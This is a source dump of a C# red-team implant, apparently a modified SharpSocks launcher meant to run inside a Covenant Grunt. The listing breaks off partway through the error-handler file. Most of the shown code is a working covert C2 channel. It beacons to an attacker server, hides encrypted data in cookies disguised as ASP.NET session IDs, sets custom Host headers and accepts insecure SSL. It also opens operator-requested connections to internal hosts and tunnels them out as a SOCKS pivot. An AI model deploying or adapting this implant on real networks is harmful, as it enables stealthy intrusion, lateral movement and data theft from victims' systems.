├── README.md
├── SocksLauncher.sln
└── SocksLauncher
├── App.config
├── Classes
├── Common
│ ├── Encryption
│ │ ├── EncryptionHelper.cs
│ │ ├── IEncryptionHelper.cs
│ │ └── SimpleEncryptor
│ │ │ └── DebugSimpleEncryptor.cs
│ └── Host
│ │ └── IPv4Tools.cs
├── Comms
│ ├── CommandChannelController.cs
│ └── CommandCommunicationHandler.cs
├── Config
│ ├── CommandChannelConfig.cs
│ └── SocksClientConfiguration.cs
├── Constants
│ └── Status.cs
├── ErrorHandler
│ └── InternalErrorHandler.cs
├── Extensions
│ └── WebClientEx.cs
├── Helpers
│ ├── LogToConsole.cs
│ └── WebExceptionAnalyzer.cs
├── Integration
│ ├── PoshCreateProxy.cs
│ └── PoshDefaultImplantComms.cs
├── Logging
│ └── DebugFileLogging.cs
├── Socks
│ ├── SocksController.cs
│ ├── SocksLoopController.cs
│ └── SocksSocketReader.cs
└── Target
│ ├── CmdTarget.cs
│ └── TargetInfo.cs
├── Interfaces
├── IExitableTarget.cs
├── IImplantLog.cs
├── IInternalErrorHandler.cs
├── ISocksImplant.cs
└── ITamper.cs
├── Program.cs
├── Properties
└── AssemblyInfo.cs
└── SocksLauncher.csproj
/README.md:
--------------------------------------------------------------------------------
1 | # SocksLauncher
2 |
3 | A modified Netitude SharpSocks launcher that will compile to a single binary and run as a thread in a Grunt within Covenant.
4 |
5 | The configuration options in Program.cs needs to be modified to suit your environment before compilation.
6 |
--------------------------------------------------------------------------------
/SocksLauncher.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.28307.572
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SocksLauncher", "SocksLauncher\SocksLauncher.csproj", "{E07DBD34-B5E3-4951-93B2-BAA913B87F8F}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {E07DBD34-B5E3-4951-93B2-BAA913B87F8F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {E07DBD34-B5E3-4951-93B2-BAA913B87F8F}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {E07DBD34-B5E3-4951-93B2-BAA913B87F8F}.Debug|x64.ActiveCfg = Debug|x64
19 | {E07DBD34-B5E3-4951-93B2-BAA913B87F8F}.Debug|x64.Build.0 = Debug|x64
20 | {E07DBD34-B5E3-4951-93B2-BAA913B87F8F}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {E07DBD34-B5E3-4951-93B2-BAA913B87F8F}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {E07DBD34-B5E3-4951-93B2-BAA913B87F8F}.Release|x64.ActiveCfg = Release|x64
23 | {E07DBD34-B5E3-4951-93B2-BAA913B87F8F}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {F331C1E5-3496-4F8C-9AA1-E909660A9195}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/SocksLauncher/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/SocksLauncher/Classes/Common/Encryption/EncryptionHelper.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 |
5 | namespace Common.Classes.Encryption
6 | {
7 | public class ECDHEncryptionHelper : IEncryptionHelper
8 | {
9 | System.Security.Cryptography.ECDiffieHellmanCng _ecDiffie;
10 | List _key = new List();
11 |
12 | public String Initialize()
13 | {
14 | return BuildECDH();
15 | }
16 |
17 | public String TheirPublicKey
18 | {
19 | set
20 | {
21 | try
22 | {
23 | DeriveKey(value);
24 | }
25 | catch (Exception ex)
26 | {
27 | throw new Exception("Failed to derive server key " + ex.Message);
28 | }
29 | }
30 | }
31 |
32 | String BuildECDH()
33 | {
34 | _ecDiffie = new System.Security.Cryptography.ECDiffieHellmanCng()
35 | {
36 | KeyDerivationFunction = System.Security.Cryptography.ECDiffieHellmanKeyDerivationFunction.Hash,
37 | HashAlgorithm = System.Security.Cryptography.CngAlgorithm.Sha256
38 | };
39 | return System.Convert.ToBase64String(_ecDiffie.PublicKey.ToByteArray());
40 | }
41 |
42 | void DeriveKey(String publicKeyb64)
43 | {
44 | List serverKey = System.Convert.FromBase64String(publicKeyb64).ToList();
45 |
46 | var eckey = System.Security.Cryptography.ECDiffieHellmanCngPublicKey.FromByteArray(serverKey.ToArray(), System.Security.Cryptography.CngKeyBlobFormat.EccPublicBlob);
47 | var key = _ecDiffie.DeriveKeyMaterial(eckey);
48 | System.Security.Cryptography.ProtectedMemory.Protect(key, System.Security.Cryptography.MemoryProtectionScope.SameProcess);
49 | _key.AddRange(key);
50 | Array.Clear(key, 0, key.Length);
51 | }
52 |
53 | public String Encrypt(List payload)
54 | {
55 | if (_key.Count() == 0)
56 | throw new Exception("Key hasn't been derived yet, encryption isn't available");
57 |
58 | string encPayload = null;
59 | byte[] key = null;
60 | try
61 | {
62 | var result = new List();
63 | using (var aes = new System.Security.Cryptography.AesManaged())
64 | {
65 | aes.Mode = System.Security.Cryptography.CipherMode.CBC;
66 | aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;
67 | aes.GenerateIV();
68 | result.AddRange(aes.IV);
69 | key = _key.ToArray();
70 | System.Security.Cryptography.ProtectedMemory.Unprotect(key, System.Security.Cryptography.MemoryProtectionScope.SameProcess);
71 | aes.Key = key;
72 | var enc = aes.CreateEncryptor();
73 | result.AddRange(enc.TransformFinalBlock(payload.ToArray(), 0, payload.Count));
74 | encPayload = System.Convert.ToBase64String(result.ToArray());
75 | result.Clear();
76 | }
77 | }
78 | catch (Exception ex)
79 | {
80 | throw new Exception("Encryption failed " + ex.Message);
81 | }
82 | finally
83 | {
84 | if (key != null)
85 | Array.Clear(key, 0, key.Length);
86 | }
87 | return encPayload;
88 | }
89 |
90 | public List Decrypt(string encodedEncPayload)
91 | {
92 | if (_key.Count() == 0)
93 | throw new Exception("Key hasn't been derived yet, encryption isn't available");
94 |
95 | var result = new List();
96 | var encPayloadIV = Convert.FromBase64String(encodedEncPayload);
97 | var IV = encPayloadIV.Take(16);
98 | var payload = encPayloadIV.Skip(16).ToList();
99 | byte[] key = null;
100 |
101 | using (var aes = new System.Security.Cryptography.AesManaged())
102 | {
103 | aes.Mode = System.Security.Cryptography.CipherMode.CBC;
104 | aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;
105 | key = _key.ToArray();
106 | System.Security.Cryptography.ProtectedMemory.Unprotect(key, System.Security.Cryptography.MemoryProtectionScope.SameProcess);
107 | aes.Key = key;
108 | aes.IV = IV.ToArray();
109 | var enc = aes.CreateDecryptor();
110 | return enc.TransformFinalBlock(payload.ToArray(), 0, payload.Count()).ToList();
111 | }
112 | }
113 | }
114 | }
115 |
--------------------------------------------------------------------------------
/SocksLauncher/Classes/Common/Encryption/IEncryptionHelper.cs:
--------------------------------------------------------------------------------
1 | using System.Collections.Generic;
2 |
3 | namespace Common.Classes.Encryption
4 | {
5 | public interface IEncryptionHelper
6 | {
7 | List Decrypt(string encodedEncPayload);
8 | string Encrypt(List payload);
9 | string Initialize();
10 | }
11 | }
--------------------------------------------------------------------------------
/SocksLauncher/Classes/Common/Encryption/SimpleEncryptor/DebugSimpleEncryptor.cs:
--------------------------------------------------------------------------------
1 | using Common.Classes.Encryption;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.Linq;
5 | using System.Runtime.InteropServices;
6 | using System.Security;
7 |
8 | namespace Common.Encryption.SimpleEncryptor
9 | {
10 |
11 | ///
12 | /// This is a simple encryptor
13 | ///
14 | public class DebugSimpleEncryptor : IEncryptionHelper
15 | {
16 | List _key = new List();
17 |
18 | public DebugSimpleEncryptor(String base64Key)
19 | {
20 | byte[] key = Convert.FromBase64String(base64Key);
21 | System.Security.Cryptography.ProtectedMemory.Protect(key, System.Security.Cryptography.MemoryProtectionScope.SameProcess);
22 | _key.AddRange(key);
23 | Array.Clear(key, 0, key.Length);
24 | }
25 |
26 | public DebugSimpleEncryptor(SecureString base64Key)
27 | {
28 | IntPtr valuePtr = IntPtr.Zero;
29 | try
30 | {
31 | valuePtr = Marshal.SecureStringToGlobalAllocUnicode(base64Key);
32 | var key = Convert.FromBase64String(Marshal.PtrToStringUni(valuePtr));
33 | System.Security.Cryptography.ProtectedMemory.Protect(key, System.Security.Cryptography.MemoryProtectionScope.SameProcess);
34 | _key.AddRange(key);
35 | Array.Clear(key, 0, key.Length);
36 | }
37 | finally
38 | {
39 | Marshal.ZeroFreeGlobalAllocUnicode(valuePtr);
40 | }
41 | }
42 |
43 | public List Decrypt(string encodedEncPayload)
44 | {
45 | var ciphrBytes = Convert.FromBase64String(encodedEncPayload).ToList();
46 | using (var aes = new System.Security.Cryptography.RijndaelManaged())
47 | {
48 | aes.Mode = System.Security.Cryptography.CipherMode.CBC;
49 | aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;
50 | aes.IV = ciphrBytes.Take(16).ToArray();
51 | var key = _key.ToArray();
52 | System.Security.Cryptography.ProtectedMemory.Unprotect(key, System.Security.Cryptography.MemoryProtectionScope.SameProcess);
53 | aes.Key = key;
54 | var dec = aes.CreateDecryptor();
55 | var encBytes = ciphrBytes.Skip(16).ToArray();
56 | var plainbytes = dec.TransformFinalBlock(encBytes, 0, encBytes.Length).ToList();
57 | Array.Clear(key, 0, key.Length);
58 | return plainbytes;
59 | }
60 | }
61 |
62 | public string Encrypt(List payload)
63 | {
64 | using (var aes = new System.Security.Cryptography.RijndaelManaged())
65 | {
66 | var result = new List();
67 | aes.Mode = System.Security.Cryptography.CipherMode.CBC;
68 | aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;
69 | aes.GenerateIV();
70 | var key = _key.ToArray();
71 | System.Security.Cryptography.ProtectedMemory.Unprotect(key, System.Security.Cryptography.MemoryProtectionScope.SameProcess);
72 | aes.Key = key;
73 | var enc = aes.CreateEncryptor();
74 | result.AddRange(aes.IV);
75 | result.AddRange(enc.TransformFinalBlock(payload.ToArray(), 0, payload.Count));
76 | Array.Clear(key, 0, key.Length);
77 | return System.Convert.ToBase64String(result.ToArray());
78 | }
79 | }
80 |
81 | public string Initialize()
82 | {
83 | //NO WORK TO DO IN THIS VERSION
84 | return "USING DEBUG SIMPLE ENCRYPTOR";
85 | }
86 | }
87 | }
88 |
--------------------------------------------------------------------------------
/SocksLauncher/Classes/Common/Host/IPv4Tools.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Linq;
3 | using System.Text.RegularExpressions;
4 |
5 |
6 | namespace SharpSocksImplantTestApp.Host
7 | {
8 | public static class IPv4Tools
9 | {
10 | private static readonly Regex _ipRegex = new Regex(@"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$");
11 | //This is not designed to do a proper match on the port, it will only match numbers after the colon
12 | private static readonly Regex _simpleIpPortRegex = new Regex(@"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])(\/(?(:\d[0-9].*?)))$");
13 |
14 | public static bool IsIP(string ip)
15 | {
16 | return _ipRegex.Match(ip).Success;
17 | }
18 | public static bool IsIPPort(string ipPort)
19 | {
20 | return _ipRegex.Match(ipPort).Success;
21 | }
22 |
23 | public static Match MatchIsIPPort(string ipPort)
24 | {
25 | return _ipRegex.Match(ipPort);
26 | }
27 | }
28 | }
29 |
--------------------------------------------------------------------------------
/SocksLauncher/Classes/Comms/CommandChannelController.cs:
--------------------------------------------------------------------------------
1 | using ImplantSide.Classes.Config;
2 | using ImplantSide.Classes.ErrorHandler;
3 | using ImplantSide.Classes.Socks;
4 | using System;
5 | using System.Collections.Generic;
6 | using System.Linq;
7 | using System.Threading;
8 | using System.Xml.XPath;
9 | using System.Xml.Linq;
10 | using SocksProxy.Classes.Socks;
11 | using System.Text;
12 | using ImplantSide.Interfaces;
13 | using SharpSocksImplant.Classes.Target;
14 |
15 | namespace ImplantSide.Classes.Comms
16 | {
17 | public class CommandChannelController
18 | {
19 | public CommandChannelController(CommandChannelConfig c2config, SocksLoopController client, CommandCommunicationHandler comms, InternalErrorHandler error)
20 | {
21 | C2Config = c2config;
22 | C2Config.CommandChannelSessionIdChanged += () => {
23 | //TO DO: Sort out what happens when config changes......
24 | };
25 | _client = client;
26 | _cmdCommsHandler = comms;
27 | _error = error;
28 | }
29 | public IImplantLog ImplantComms { get; set; }
30 | AutoResetEvent Timeout = new AutoResetEvent(false);
31 | CommandChannelConfig C2Config { get; set; }
32 | SocksLoopController _client;
33 | List _statusQueue = new List();
34 | CommandCommunicationHandler _cmdCommsHandler;
35 | object _statusLocker = new object();
36 | InternalErrorHandler _error;
37 |
38 | public String CommandChannelSessionId
39 | {
40 | get
41 | {
42 | return C2Config.CommandChannelSessionId;
43 | }
44 | }
45 |
46 | public void StopCommandChannel()
47 | {
48 | if (null != _cancelToken)
49 | _cancelTokenSource.Cancel();
50 | }
51 |
52 | System.Threading.Tasks.Task _commandChannelLoop { get; set; }
53 | CancellationTokenSource _cancelTokenSource { get; set; }
54 | CancellationToken _cancelToken { get; set; }
55 |
56 | public void StartCommandLoop(SocksController loopController)
57 | {
58 | _cancelTokenSource = new CancellationTokenSource();
59 | _cancelToken = _cancelTokenSource.Token;
60 | _commandChannelLoop = new System.Threading.Tasks.Task((g) => {
61 | try
62 | {
63 | ImplantComms.LogMessage($"Command loop starting - beacon time is {C2Config.CommandBeaconTime}ms");
64 | if (!CommandLoop((CancellationToken)g))
65 | {
66 | loopController.StopProxyComms();
67 | _error.LogError($"Stopping all proxy comms as command channel is now broken");
68 | return;
69 | }
70 | }
71 | catch (Exception ex)
72 | {
73 | var lst = new List
74 | {
75 | "Error in command channel loop"
76 | };
77 | _error.LogError($"Command Channel loop is broken {ex.Message}, hard stopping all connections");
78 | loopController.StopProxyComms();
79 | return;
80 | }
81 | }, _cancelToken);
82 | _commandChannelLoop.Start();
83 | }
84 |
85 | bool CommandLoop(CancellationToken token)
86 | {
87 | do
88 | {
89 | if (token.IsCancellationRequested)
90 | return true;
91 | var request = BuildRequestPayload();
92 | var response = _cmdCommsHandler.Send(new CmdTarget { TargetId = CommandChannelSessionId, Token = token }, UTF8Encoding.UTF8.GetBytes(request.ToString()).ToList(), out bool CommandChannelDead);
93 |
94 | if (null == response || response.Count() == 0 || CommandChannelDead)
95 | {
96 | if (CommandChannelDead)
97 | {
98 | _error.LogError($"Command Channel loop is dead. EXITING");
99 | return false;
100 | }
101 | }
102 | else
103 | {
104 | var xdoc = XDocument.Parse(UTF8Encoding.UTF8.GetString(response.ToArray()));
105 | var elms = xdoc.XPathSelectElements("Response/Tasks/Task");
106 |
107 | if (elms.Count() > 0)
108 | {
109 | ImplantComms.LogMessage($"{elms.Count()} tasks recieved");
110 | //We have tasks Queue em up
111 | xdoc.XPathSelectElements("Response/Tasks/Task").ToList().ForEach(x =>
112 | {
113 | var nodeCreate = x.XPathSelectElement("CreateListener");
114 |
115 | if (null != nodeCreate)
116 | {
117 | var host = nodeCreate.Attribute("TargetHost").Value;
118 | var strPort = nodeCreate.Attribute("TargetPort").Value;
119 | var port = ushort.Parse(strPort);
120 | var sessionId = nodeCreate.Attribute("SessionID").Value;
121 | ImplantComms.LogMessage($"About to open connection to {host}:{strPort}");
122 | if (_client.OpenNewConnectionToTarget(sessionId, host, port))
123 | QueueListenerStatus(sessionId, "open");
124 | else
125 | {
126 | ImplantComms.LogError($"FAILED {host}:{strPort}");
127 | QueueListenerStatus(sessionId, "failed");
128 | }
129 | }
130 | var nodeClose = x.XPathSelectElement("CloseListener");
131 | if (null != nodeClose)
132 | {
133 | var sessionId = nodeClose.Attribute("SessionID");
134 | if (!String.IsNullOrWhiteSpace(sessionId?.Value))
135 | {
136 | _client.Stop(sessionId.Value);
137 | QueueListenerStatus(sessionId.Value, "closed");
138 | }
139 | else
140 | ImplantComms.LogError($"Close session id message is null");
141 | }
142 | });
143 | }
144 | //Sleep til we need to beacon again
145 | //TO DO: Add in Jitter time, not curenntly implemented
146 | if (token.IsCancellationRequested)
147 | return true;
148 | }
149 | //Timeout.WaitOne(C2Config.CommandBeaconTime);
150 | }
151 | while (!token.IsCancellationRequested);
152 | return true;
153 | }
154 |
155 | XElement BuildRequestPayload()
156 | {
157 | var root = new XElement("CommandChannel");
158 | lock (_statusLocker)
159 | {
160 | if (_statusQueue.Count() > 0)
161 | {
162 | var status = new XElement("ListenerStatus");
163 | _statusQueue.ForEach(x => {
164 | status.Add(x);
165 | });
166 | root.Add(status);
167 | _statusQueue.Clear();
168 | }
169 | }
170 | root.Add(new XElement("RequestWork"));
171 | return root;
172 | }
173 | public void QueueListenerStatus(String listener, String status)
174 | {
175 | lock (_statusLocker)
176 | {
177 | _statusQueue.Add(new XElement(new XElement("Status", new XAttribute("SessionID", listener.ToString()), status)));
178 | }
179 | }
180 | }
181 | }
182 |
--------------------------------------------------------------------------------
/SocksLauncher/Classes/Comms/CommandCommunicationHandler.cs:
--------------------------------------------------------------------------------
1 | using Common.Classes.Encryption;
2 | using ImplantSide.Classes.ErrorHandler;
3 | using ImplantSide.Classes.Helpers;
4 | using ImplantSide.Classes.Target;
5 | using ImplantSide.Interfaces;
6 | using SharpSocksImplant.Interfaces;
7 | using SocksProxy.Classes.Extensions;
8 | using System;
9 | using System.Collections.Generic;
10 | using System.Linq;
11 | using System.Net;
12 | using System.Text;
13 | using System.Threading;
14 |
15 | namespace ImplantSide.Classes.Comms
16 | {
17 | public class CommandCommunicationHandler
18 | {
19 | IEncryptionHelper _encryption;
20 | public IImplantLog ImplantComms { get; set; }
21 |
22 | AutoResetEvent Timeout = new AutoResetEvent(false);
23 | SocksClientConfiguration _config;
24 | Random _urlRandomizer = new Random(); //Yes yes this is a terrible random number generator
25 | InternalErrorHandler _error;
26 | bool? InitialConnectionSucceded;
27 |
28 | public CommandCommunicationHandler(IEncryptionHelper encryption, SocksClientConfiguration config, InternalErrorHandler error)
29 | {
30 | _encryption = encryption;
31 | this._config = config;
32 | _error = error;
33 | }
34 |
35 | public List Send(IExitableTarget target, List payload, out bool commandChannelDead)
36 | {
37 | return Send(target, "nochange", payload, out commandChannelDead);
38 | }
39 |
40 | public List Send(IExitableTarget target, String status, List payload, out bool commandChannelDead)
41 | {
42 |
43 | String sessionPayload = target.TargetId;
44 | commandChannelDead = false;
45 |
46 | if (String.IsNullOrWhiteSpace(status))
47 | status = "nochange";
48 |
49 | var sessionAndStatus = sessionPayload + ":" + status;
50 | var encryptedSessionPayload = _encryption.Encrypt(UTF8Encoding.UTF8.GetBytes(sessionAndStatus).ToList());
51 |
52 | var cookies = new CookieContainer();
53 | WebClientEx wc = null;
54 | if (!String.IsNullOrWhiteSpace(_config.HostHeader))
55 | wc = new WebClientEx(cookies, _config.HostHeader, _config.InsecureSSL) { UserAgent = _config.UserAgent };
56 | else
57 | wc = new WebClientEx(cookies, _config.InsecureSSL) { UserAgent = _config.UserAgent };
58 |
59 | if (_config.UseProxy)
60 | if (null == _config.WebProxy)
61 | {
62 | wc.Proxy = HttpWebRequest.GetSystemWebProxy();
63 | wc.Proxy.Credentials = CredentialCache.DefaultCredentials;
64 | }
65 | else
66 | wc.Proxy = _config.WebProxy;
67 | wc.Headers.Add("Host", _config.HostHeader);
68 |
69 | cookies.Add(new Cookie($"{_config.SessionCookieName}", $"{encryptedSessionPayload}") { Domain = (!String.IsNullOrWhiteSpace(_config.HostHeader)) ? _config.HostHeader.Split(':')[0] : _config.URL.Host });
70 |
71 | string encPayload = null;
72 | if (null != payload && payload.Count > 0)
73 | {
74 | try
75 | {
76 | encPayload = _encryption.Encrypt(payload);
77 | if (String.IsNullOrWhiteSpace(encPayload))
78 | {
79 | _error.LogError("Encrypted payload was null, it shouldn't be");
80 | if (!InitialConnectionSucceded.HasValue)
81 | InitialConnectionSucceded = false;
82 | wc.Dispose();
83 | return null;
84 | }
85 | }
86 | catch (Exception ex)
87 | {
88 | _error.LogError(ex.Message);
89 | wc.Dispose();
90 | return null;
91 | }
92 | }
93 |
94 | bool retryRequired = false;
95 | Int32 retryInterval = 2000;
96 | UInt16 retryCount = 0;
97 | Guid errorId = Guid.NewGuid();
98 | do
99 | {
100 | try
101 | {
102 | String response = null;
103 | if (encPayload != null && encPayload.Count() > 4096)
104 | response = wc.UploadString(BuildServerURI(), encPayload);
105 | else
106 | {
107 | if (null != _config.HostHeader)
108 | {
109 | if (wc.Headers.AllKeys.Contains("Host"))
110 | {
111 | if (wc.Headers["Host"] != _config.HostHeader)
112 | wc.Headers["Host"] = _config.HostHeader;
113 | }
114 | else
115 | wc.Headers.Add("Host", _config.HostHeader);
116 | }
117 | if (payload != null && payload.Count() > 0)
118 | cookies.Add(new Cookie($"{_config.PayloadCookieName}", $"{encPayload}") { Domain = (!String.IsNullOrWhiteSpace(_config.HostHeader)) ? _config.HostHeader.Split(':')[0] : _config.URL.Host });
119 |
120 | response = wc.DownloadString(BuildServerURI());
121 | }
122 |
123 | if (!InitialConnectionSucceded.HasValue)
124 | InitialConnectionSucceded = true;
125 |
126 | if (null != response && response.Count() > 0)
127 | {
128 | wc.Dispose();
129 | return _encryption.Decrypt(response);
130 | }
131 | else
132 | {
133 | wc.Dispose();
134 | return new List();
135 | }
136 |
137 | }
138 | catch (System.Net.WebException ex)
139 | {
140 | var lst = new List();
141 | if (WebExceptionAnalyzer.IsTransient(ex))
142 | {
143 | if (15 > retryCount++)
144 | {
145 | _error.LogError($"Error has occured and looks like it's transient going to retry in {retryInterval} milliseconds: {ex.Message}");
146 | retryRequired = true;
147 |
148 | if (retryInterval++ > 2)
149 | retryInterval += retryInterval;
150 |
151 | Timeout.WaitOne(retryInterval);
152 | }
153 | else
154 | {
155 | _error.FailError($"Kept trying but afraid error isn't going away {retryInterval} {ex.Message} {ex.Status.ToString()} {_config.CommandServerUI.ToString()} {errorId.ToString()}");
156 | commandChannelDead = true;
157 | wc.Dispose();
158 | return null;
159 | }
160 | }
161 | else if (sessionPayload == _config.CommandChannelSessionId)
162 | {
163 | if (!RetryUntilFailure(ref retryCount, ref retryRequired, ref retryInterval))
164 | {
165 | lst.Add("Command channel re-tried connection 5 times giving up");
166 | ReportErrorWebException(ex, lst, errorId);
167 | commandChannelDead = true;
168 | wc.Dispose();
169 | return null;
170 | }
171 | retryRequired = true;
172 | }
173 | else
174 | {
175 | ReportErrorWebException(ex, lst, errorId);
176 | if (HttpStatusCode.NotFound == ((HttpWebResponse)ex.Response).StatusCode)
177 | {
178 | if (_error.VerboseErrors)
179 | _error.LogError(String.Format($"Connection on server has been killed"));
180 | }
181 | else
182 | _error.LogError(String.Format($"Send to {_config.URL} failed with {ex.Message}"));
183 | wc.Dispose();
184 | return null;
185 | }
186 | }
187 | } while (retryRequired && !target.Exit);
188 |
189 | if (!InitialConnectionSucceded.HasValue)
190 | {
191 | commandChannelDead = true;
192 | InitialConnectionSucceded = false;
193 | }
194 |
195 | wc.Dispose();
196 | return null;
197 | }
198 |
199 | bool RetryUntilFailure(ref UInt16 retryCount, ref bool retryRequired, ref Int32 retryInterval)
200 | {
201 | if (5 <= retryCount++)
202 | return retryRequired = false;
203 |
204 | _error.LogError($"Command Channel failed to connect : retry interval {retryInterval} ms");
205 | Timeout.WaitOne(retryInterval);
206 | retryInterval += retryInterval;
207 | return true;
208 | }
209 |
210 | Uri BuildServerURI(String payload = null)
211 | {
212 | if (null != _config.Tamper)
213 | return new Uri(_config.Tamper.TamperUri(_config.CommandServerUI, payload));
214 |
215 | if (_config.URLPaths.Count() == 0 )
216 | return new Uri(_config.URL, "Upload");
217 | else
218 | {
219 | var path = _config.URLPaths[_urlRandomizer.Next(0, _config.URLPaths.Count())];
220 | return new Uri(_config.URL, path);
221 | }
222 | }
223 |
224 | void ReportErrorWebException(System.Net.WebException ex, List lst, Guid errorId)
225 | {
226 | lst.Add(ex.Message);
227 | lst.Add(ex.Status.ToString());
228 | lst.Add(_config.CommandServerUI.ToString());
229 | lst.Add(errorId.ToString());
230 | _error.LogError(lst);
231 | }
232 | }
233 | }
234 |
--------------------------------------------------------------------------------
/SocksLauncher/Classes/Config/CommandChannelConfig.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 |
7 | namespace ImplantSide.Classes.Config
8 | {
9 | public class CommandChannelConfig
10 | {
11 | object _locker = new object();
12 | String _commandChannelSessionId;
13 |
14 | public Action CommandChannelSessionIdChanged;
15 | public Int16 CommandBeaconTime = 5000;
16 | public Decimal CommandJitter = 0.20M;
17 | public Int16 CommandTimeoutRetryOnFailure = 15000;
18 | public Int16 CommandTimeoutRetryAttempts = 10;
19 | public String CommandChannelSessionId
20 | {
21 | get
22 | {
23 | return _commandChannelSessionId;
24 | }
25 | set
26 | {
27 | lock (_locker)
28 | {
29 | _commandChannelSessionId = value;
30 | }
31 | }
32 | }
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/SocksLauncher/Classes/Config/SocksClientConfiguration.cs:
--------------------------------------------------------------------------------
1 | using ImplantSide.Classes.Config;
2 | using ImplantSide.Interfaces;
3 | using System;
4 | using System.Collections.Generic;
5 | using System.Net;
6 | using System.Threading;
7 |
8 | namespace ImplantSide.Classes
9 | {
10 | public class SocksClientConfiguration
11 | {
12 | public String CommandChannelSessionId
13 | {
14 | get
15 | {
16 | return (null == CommandChannel) ? Guid.Empty.ToString() : CommandChannel.CommandChannelSessionId;
17 | }
18 | set
19 | {
20 | GetCmdChannelConfig().CommandChannelSessionId = value;
21 | }
22 | }
23 |
24 | public Int16 BeaconTime
25 | {
26 | get
27 | {
28 | return GetCmdChannelConfig().CommandBeaconTime;
29 | }
30 |
31 | set
32 | {
33 | GetCmdChannelConfig().CommandBeaconTime = value;
34 | }
35 | }
36 |
37 | CommandChannelConfig GetCmdChannelConfig()
38 | {
39 | if (null == CommandChannel)
40 | {
41 | lock (_locker)
42 | {
43 | if (null == CommandChannel)
44 | {
45 | CommandChannel = new CommandChannelConfig();
46 | }
47 | }
48 | }
49 | return CommandChannel;
50 | }
51 |
52 | public CommandChannelConfig CommandChannel;
53 | public String ServerCookie { get; set; }
54 | public String PayloadCookieName { get; set; }
55 | public String HostHeader { get; set; }
56 | public System.Uri CommandServerUI
57 | {
58 | get
59 | {
60 | Monitor.Enter(_locker);
61 | var uri = _serverUri;
62 | Monitor.Exit(_locker);
63 | return uri;
64 | }
65 | set
66 | {
67 | Monitor.Enter(_locker);
68 | _serverUri = value;
69 | Monitor.Exit(_locker);
70 | }
71 | }
72 | public bool InsecureSSL { get; set; }
73 | public String ServerHost { get; set; }
74 | public bool UseProxy { get; set; }
75 | public String UserAgent { get; set; }
76 | public IWebProxy WebProxy { get; set; }
77 | public IImplantLog ImplantComms { get; set; }
78 | public ITamper Tamper { get; set; }
79 | public List URLPaths { get; set; }
80 | internal Uri URL
81 | {
82 | get
83 | {
84 | Monitor.Enter(_locker);
85 | var uri = _serverUri;
86 | Monitor.Exit(_locker);
87 | return uri;
88 | }
89 | }
90 | Uri _serverUri;
91 | object _locker = new Object();
92 | readonly static String DEFAULTSESSIONCOOKIENAME = "ASP.NET_SessionId";
93 | String _sessionId = null;
94 | public String SessionCookieName
95 | {
96 | get
97 | {
98 | if (!String.IsNullOrWhiteSpace(_sessionId))
99 | return _sessionId;
100 | else
101 | return DEFAULTSESSIONCOOKIENAME;
102 | }
103 | set
104 | {
105 | _sessionId = value;
106 | }
107 | }
108 | }
109 | }
110 |
--------------------------------------------------------------------------------
/SocksLauncher/Classes/Constants/Status.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 |
7 | namespace ImplantSide.Classes.Constants
8 | {
9 | public enum STATUS
10 | {
11 | ERROR,
12 | CREATED,
13 | IDLE,
14 | CONFIRMING,
15 | CONFIRMED,
16 | PROXYOPEN,
17 | SENDING,
18 | RECEIVING,
19 | CLOSED,
20 | EXCHANGING,
21 | EXCHANGED
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/SocksLauncher/Classes/ErrorHandler/InternalErrorHandler.cs:
--------------------------------------------------------------------------------
1 | using ImplantSide.Interfaces;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.Linq;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace ImplantSide.Classes.ErrorHandler
9 | {
10 | public class InternalErrorHandler : IInternalErrorHandler
11 | {
12 | IImplantLog _implantComms;
13 | public bool VerboseErrors { get; set; }
14 |
15 | public InternalErrorHandler(IImplantLog implantComms)
16 | {
17 | _implantComms = implantComms;
18 | }
19 | public void FailError(List errors)
20 | {
21 | //Basically its unrecoverable
22 | var sb = new StringBuilder();
23 | errors.ForEach(x =>
24 | {
25 | sb.Append(x);
26 | if (!(x.EndsWith(".")))
27 | sb.AppendLine(". ");
28 | });
29 | throw new Exception(sb.ToString());
30 | }
31 |
